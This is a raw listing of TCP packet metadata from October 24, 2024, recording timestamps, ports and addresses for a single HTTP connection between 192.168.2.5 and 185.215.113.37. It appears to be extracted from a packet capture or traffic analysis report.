Oct 24, 2024 15:09:15.553606987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553627014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553638935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553643942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553649902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553661108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553672075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553672075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553685904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553692102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553734064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553803921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553817034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553828001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553838015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553839922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553849936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553860903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553873062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553873062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553884029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553895950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553903103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553908110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553920984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553925037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553935051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.553942919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.553973913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554049969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554059982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554070950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554085970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554090977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554105043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554107904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554120064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554133892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554160118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554371119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554410934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554438114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554449081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554460049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554522991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554523945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554524899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554537058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554563046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554586887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554697990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554709911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554727077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554740906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554753065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.554783106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554783106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.554867983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.558789015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.558824062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.558842897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.558845997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.558862925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.558865070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.558881044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.558883905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.558901072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.558902979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.558914900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.558938980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559664965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559680939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559708118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559717894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559730053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559736967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559737921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559751034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559760094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559762001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559773922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559786081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559792995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559798002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559817076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559833050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559892893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559905052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559920073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559931040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559935093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559941053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559953928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559963942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559966087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559978008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.559979916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.559990883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560002089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560008049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.560014963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560025930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560034990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.560039997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560050964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560050964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.560062885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560076952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560080051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.560082912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560095072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560107946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.560112000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.560127974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.560154915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668524027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668551922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668565035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668576956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668590069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668608904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668622017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668634892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668642044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668658972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668664932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668672085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668684959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668697119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668709993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668718100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668719053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668739080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668746948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668756962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668757915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668768883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668781042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668792963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668792963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668818951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668827057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668838024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668843031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668843985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668853045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668874025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668879032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668885946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668898106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668905973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668912888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668922901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668934107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668935061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668946981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668952942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668962002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668972969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668984890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.668984890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.668996096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669007063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669019938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669029951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669051886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669059992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669059992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669125080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669128895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669138908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669154882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669167042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669172049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669178963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669193029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669198990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669226885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669297934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669363022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669373989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669380903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669394970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669420004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669431925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669442892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669447899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669455051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669467926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669477940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669477940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669491053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669509888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669533014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669544935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669563055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669569016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669569016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669626951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669651031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669681072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669689894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669694901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669704914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669712067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669717073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669723034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669728994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669734001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669739962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669748068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669748068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669790983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669802904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669814110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669837952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669843912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669853926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669864893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669869900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669878006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669889927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669902086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669905901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669961929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.669985056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669985056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.669986010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670005083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670010090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670017004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670031071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670037985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670042992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670068026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670073032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670084953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670110941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670123100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670126915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670126915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670126915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670137882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670162916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670167923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670182943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670185089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670195103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670205116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670216084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670228958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670239925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670252085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670253038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670264006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670278072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670288086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670295954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670315027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670339108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670376062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670387983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670430899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670430899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670444965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670459032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670470953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670485973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670500994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670511961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670520067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670528889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670546055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670550108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670564890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670583010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670584917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670595884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670597076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670607090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670634985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670645952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670665026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670665026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670677900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670685053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670689106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670708895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670708895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670721054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670732021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670742035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670743942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670761108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670766115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670772076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670778036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670783997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670789003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670794964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670799017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670811892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670823097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670830965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670859098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670880079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670913935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670928955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670941114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670960903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670979023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.670979977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.670989990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671001911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671010971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.671013117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671027899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.671077967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.671423912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671436071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671447992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671478033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.671498060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.671505928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671518087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671533108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671539068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671540976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.671564102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671567917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 15:09:15.671576023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671591997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 15:09:15.671603918 CEST	49704	80	192.168.2.5	185.215.113.37
